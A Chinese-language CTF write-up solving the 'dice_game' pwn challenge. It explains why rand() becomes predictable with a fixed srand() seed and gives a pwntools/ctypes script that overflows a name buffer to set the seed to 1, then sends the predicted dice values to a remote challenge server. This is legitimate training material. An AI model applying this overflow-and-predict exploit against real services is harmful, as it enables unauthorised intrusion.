CTF中的PWN——srand()/rand()漏洞(棧溢出)

 摘要:    

    本以爲自己棧溢出學的不錯了,挑戰了一下攻防世界的PWN高手進階,發現棧溢出還是有很多相關的漏洞,今天總結一下srand()函數的漏洞。

srand()/rand():

    簡單介紹一下這兩個函數:

  • rand()函數是使用線性同餘法做的,它並不是真的隨機數,因爲其週期特別長,所以在一定範圍內可以看成隨機的。
  • srand()爲初始化隨機數發生器,用於設置rand()產生隨機數時的種子。傳入的參數seed爲unsigned int類型,通常我們會使用time(0)或time(NULL)的返回值作爲seed。

    個人理解:當對隨機性要求不高的時候可以直接使用rand()函數是沒問題的,但是因爲其並不是真的隨機數,只是在一定範圍內是隨機的而已,有周期的。但如若設置了隨機數發生器,並以時間戳爲種子,這樣就加強了隨機性的強度。

    注:怎麼利用這兩個函數的風險呢,這裏有兩個特點,

  • 程序第一次調用rand()之前沒有調用srand(),那麼系統會爲你自動調用srand(),自動調用傳參值爲1;
  • 使用相同種子(srand函數傳參值相同),調用 rand()生成的是相同隨機數序列。

題目:攻防世界(dice_game):

    老樣子查看程序信息,可以看到只有金絲雀沒有開啓:

    拖入IDA64中靜態分析:

     可以看到有一個設有時間戳爲參數的srand()函數,進入A20函數中查看邏輯:

     分析發現函數邏輯爲輸入與隨機數 % 6 + 1相比,相等返回1,而調用者收到返回1時繼續循環,不然break,但是我們需循環50次使v8爲50才能拿到flag,而校驗函數中每次都是隨機生成的,怎麼才能猜到rand()每次生成的序列值呢?如果前面的srand的種子爲一定值即可猜到隨機序列。

    所以此題思路爲尋找溢出點,使seed的值爲一定值,然後我們在腳本中調用動態庫中的srand及rand函數即可。這裏又有新的問題了,怎麼在腳本中調用動態庫中的程序呢,以前是使用plt表+棧溢出進行調用的,本題無法進行上述操作怎麼辦呢,這裏在介紹一個新的python庫(人生苦短,我用python),ctypes。。。from ctypes import * 。使用cdll.LoadLibrary('')代替以前的ELF('')即可,調用動態庫的函數。

    針對動態庫函數的調用個人暫時的理解:什麼情況程序在編譯前加載了動態庫呢,比如我們要使用的print家族、puts、等等未在程序裏聲明的函數,需要通過引用動態庫,裏面就有程序不用聲明就能進行調用的函數,比如此題的srand與rand,因爲未在程序中聲明定義,所以就需要用到動態庫了。

    回到題目中,因爲需要滿足50次條件,只需要輸入循環50次有序序列(調用50此rand())即可,payload如下:

from pwn import *
from ctypes import *

context.log_level = "debug"

p = remote('111.198.29.45',44789)
#p = process('./dice_game')
elf = cdll.LoadLibrary('libc.so.6')

payload = 'A' * 64 + p64(1)
p.recvuntil('Welcome, let me know your name: ')
p.sendline(payload)
elf.srand(1)

for i in range(0,50):
    p.recvuntil('Give me the point(1~6): ')
    payload = str(elf.rand() % 6 + 1)
    p.sendline(payload)
p.recv()
p.interactive()

    :腳本中有一個坑點,就是sendline()中的參數是字符型的,不能是數字型的,所以數字參數需要str()一下即可。

總結:

  • 基於srand與rand函數的風險,利用棧溢出隨機數發生器參數爲定值,使rand生成可預測的序列。
  • PWN也要和逆向一樣讀懂程序的邏輯,這方面有待加強。
  • 寫腳本時候的sendline方法參數是字符型。
  • ctypes包的cdll.LoadLibrary('libc.so.xxx')可以在在腳本中加載動態庫,同時又能調用庫中的函數。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章